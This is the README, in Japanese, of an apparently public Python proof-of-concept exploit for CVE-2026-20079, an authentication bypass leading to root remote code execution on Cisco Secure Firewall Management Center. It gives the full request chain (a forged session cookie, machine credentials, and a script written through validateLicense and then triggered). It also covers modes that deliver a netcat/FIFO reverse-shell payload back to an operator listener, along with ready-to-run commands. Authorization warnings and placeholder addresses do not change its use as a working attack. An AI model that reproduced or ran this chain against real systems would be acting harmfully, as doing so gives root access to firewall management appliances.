
CVE-2026-20079の認証バイパスからルートRCEへのチェーンを、fingerprint、check、proof、およびインタラクティブエクスプロイトの各モードでCisco Secure FMCに対して実装します。
CVE-2026-20079 で公開文書化された Cisco Secure Firewall Management Center の認証バイパスから root RCE に至るチェーンを実証する Python の概念実証(PoC)です。
これは新しい脆弱性でも、独自に開発されたエクスプロイトチェーンでもありません。VulnCheck が公開したリクエストシーケンスをクリーンルーム実装したもので、フィンガープリント、段階的チェック、ワンショット実証、対話型エクスプロイトの各モードを備えています。
Python 3.10 以降が必要です。Linux または macOS では:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help
以下の 192.0.2.x の値はすべて予約済みのドキュメント用アドレスです。これらは
プレースホルダーであり、発見されたターゲット情報ではなく、認可された評価から得た
値に置き換える必要があります。これらのコマンドはそのままでは動作することを
想定していません。
| 例 | 意味 | 代わりに使用するもの |
|---|---|---|
https://192.0.2.10 | ターゲットの FMC URL | 認可された正確な FMC のスキーム、アドレス、ポート |
192.0.2.20 | FMC が接続し返す先のアドレス | オペレーターのリスナーの IP アドレスまたは DNS 名(FMC から到達可能なもの) |
192.0.2.0/24 | フィンガープリント用 CIDR の例 | 明示的に認可されたネットワーク範囲 |
4444 | コールバック/リスナーの TCP ポート | コールバックシステム上で認可された到達可能なポート |
0.0.0.0 | オペレーターシステム上でリスナーがバインドする先 | すべてのローカルインターフェースで待ち受ける場合はそのまま、または 1 つのローカルインターフェースアドレスを使用 |
--expected-callback-source 内の 192.0.2.10 | コールバックの期待される送信元 | リスナーから観測される FMC の送信元アドレス。NAT により不確実な場合はこのオプションを省略 |
http://127.0.0.1:8080 | オプションのローカル傍受プロキシ | オペレーターシステム上で実際に待ち受けているプロキシ URL |
--callback-host の選択次のルールを使用します: FMC の視点から見て、どのアドレスがオペレーターの
リスナーに到達するか? そのアドレスが --callback-host です。
| ネットワーク経路 | 一般的な --callback-host の値 |
|---|---|
| オペレーターと FMC が同じルーティングネットワーク上にある | オペレーターシステムの到達可能な eth0、en0、その他の LAN アドレス |
| オペレーターが VPN 経由で FMC に到達する | FMC がそこへのルートを持つ場合、到達可能な VPN インターフェースアドレス(tun0 や utun など) |
| オペレーターが NAT またはファイアウォールの背後にある | 選択したポートがオペレーターシステムに転送されているパブリック IP または DNS 名 |
| コールバックトンネルまたは VPS を使用する | 到達可能なトンネルエンドポイントまたは VPS アドレス |
--callback-host に 127.0.0.1 や 0.0.0.0 を使用しないでください。127.0.0.1 は
FMC 自身を指すことになり、0.0.0.0 はリスナーのバインド値であり、宛先では
ありません。ルーティング、ファイアウォールルール、およびポート転送が、FMC が
--callback-port 上で --callback-host に到達できるよう許可されていることを
確認してください。
--listen-host はローカル専用です: 統合リスナーが待ち受けるインターフェースを
選択します。デフォルトの 0.0.0.0 はすべてのローカルインターフェースで待ち受け
ます。これは FMC にどこへ接続するかを伝えるものではありません。したがって、
--callback-host と --listen-host は、特に NAT を介する場合に異なることが
あります。
次の架空のドキュメント専用ラボを想定します:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
値は次のようにコマンドにマッピングされます:
--target https://192.0.2.10 は評価対象の FMC を指定します。--callback-host 192.0.2.20 は、FMC が直接ルーティングできるため、オペレーターシステムの eth0 アドレスです。--callback-port 4444 は、コールバックで使用される承認済みの TCP ポートです。--listen-host 0.0.0.0 は、統合リスナーが eth0 を含む任意のローカルインターフェースでコールバックを受け入れるようにします。その例に対するワンショットのプルーフコマンドは次のようになります:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0
フローは次のとおりです。オペレーターが 192.0.2.10 に HTTPS リクエストを送信し、その後 FMC がオペレーターの 192.0.2.20:4444 に接続し返します。実際の評価では、両方の IP アドレスを置き換え、コマンドを実行する前に戻り経路を確認してください。FMC がオペレーターの eth0 アドレスに到達できない場合は、代わりに上記で説明した到達可能な VPN、NAT、トンネル、または VPS アドレスを使用してください。
| モード | ネットワークまたはターゲットへの影響 | 証拠または結果 |
|---|---|---|
--fingerprint | GET リクエストのみ | 考えられる FMC の Web サーフェス。脆弱性の確認ではない |
--check | 最大 2 回の GET リクエスト。セッションのアップグレードなし | 既知のバイパス応答パターンが完全または部分的に一致 |
--check --intrusive | サーバー側のセッション状態をアップグレード | 認証バイパスとアクショントークンへのアクセス |
--proof | 制限付きのコールバックペイロードを書き込み、実行 | 対話型シェルなしでの root 実行とクリーンアップ |
--exploit | FIFO/netcat ペイロードを書き込み、実行 | 対話型の root コールバック、または --auto-verify による制限付き検証 |
3 つのサンプル値を一度設定し、それぞれを認可されたターゲット、オペレーターのコールバックアドレス、ポートに置き換えてください:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
次に、モードを1つだけ選択します:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verify
[!IMPORTANT] フィンガープリンティングはヒューリスティックな製品識別ステップであり、脆弱性チェックではありません。
MATCHとLIKELYは対象が影響を受けている、または悪用可能であることを証明するものではなく、NO_MATCHは FMC を除外するものではありません。リバースプロキシ、カスタマイズされたログインページ、アクセス制御、ネットワーク障害、または製品の変更が結果に影響を与える可能性があります。
フィンガープリンティングはネットワークリクエストを送信しますが、認証バイパスや RCE チェーンは実行しません。デフォルトのチェックは特別なセッション Cookie を保護された情報エンドポイントに送信しますが、認証情報を送信したりセッションを昇格させたりはしません。検証モードを使用する前に、分類の詳細、モードの説明、および以下のセッション状態に関する警告をお読みください。
[!WARNING] 明示的な書面による許可なく
--check、--proof、または--exploitを実行しないでください。--check --intrusive、proof、および exploit モードの許可は、それらの対象となる変更と proof 手法をカバーしている必要があります。まず前提条件、セッション状態の制限、およびコールバック要件をお読みください。
アクティブチェーンは CGISESSID=csm_processes を /login.cgi?logon=Continue に提供し、公開されている report:snortrules マシン認証情報を使用し、/ui/user/general から sf_action_id を抽出し、validateLicense を介して Makeself 形式のスクリプトを書き込み、SF::UI::DataObjectLibrary::upgradeReadinessCall を介してそれをトリガーします。
JSON シリアライザは、実際のスクリプト改行を表すエスケープのみを \u000A に変換します。コマンド内のリテラルな \n シーケンスやその他のバックスラッシュコンテンツは変更されません。
影響を受けるソフトウェアバージョンが、テスト時点で常に悪用可能であるとは限りません。起動時に作成された csm_processes セッションがまだ存在している必要があります。通常の認証済み UI アクティビティやセッションクリーンアップによって削除される可能性があります。この前提条件を満たすためだけに、本番環境の FMC を再起動しないでください。
--check --intrusive、--proof、および --exploit モードは、サーバー側の csm_processes セッションを昇格させます。PoC は、ベンダーが文書化したダウングレード操作が存在しないため、そのセッションを元の部分的な状態に戻そうとはしません。クライアント Cookie をクリアしてもサーバー側の変更は元に戻らず、ログアウト、強制失効、またはデータベースエントリの削除はセッションを復元するのではなく破壊し、その後の検証やアプライアンスの動作に干渉する可能性があります。自動クリーンアップ機能は一時的な RCE ファイルのみを削除し、セッション状態を復元することを主張するものではありません。--fingerprint はそのセッションを使用しません。デフォルトの --check はセッションを介して読み取りますが、文書化された昇格は実行しません。他のアクティブな HTTP リクエストと同様に、ログに記録される可能性があり、パッシブであるとは説明されていません。
両方のコールバックペイロードには以下が必要です:
/bin/sh。rm および command。PATH を通じて利用可能な nc、netcat、または ncat のいずれか。対話型の --exploit ペイロードはさらに mkfifo を必要とします。ワンショットの --proof ペイロードは FIFO や対話型シェルを作成しません。
ペイロードはコールバックを試みる前に、サポートされている 3 つの netcat コマンド名をチェックします。いずれも存在しない場合、クリーンアップトラップを介して終了します。エラーはブラインドのサーバー側実行パス内で発生するため、テスターは詳細なリモートエラーメッセージではなく、コールバックの欠如を観察します。
--auto-verify は Python の socket ライブラリを使用し、ローカルに netcat をインストールする必要はありません。手動リスナーモードでは、nc、ncat、socat、またはオペレーターが選択した他の TCP リスナーを使用できます。
1 つの URL をフィンガープリントします:
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
1行につき1つのURL、IPアドレス、ホスト名、またはhost:port値を含むファイルをフィンガープリントします:
python3 CVE-2026-20079.py \
--fingerprint \
--targets-file targets.txt \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 10
明示的に許可されたネットワーク範囲をフィンガープリントします: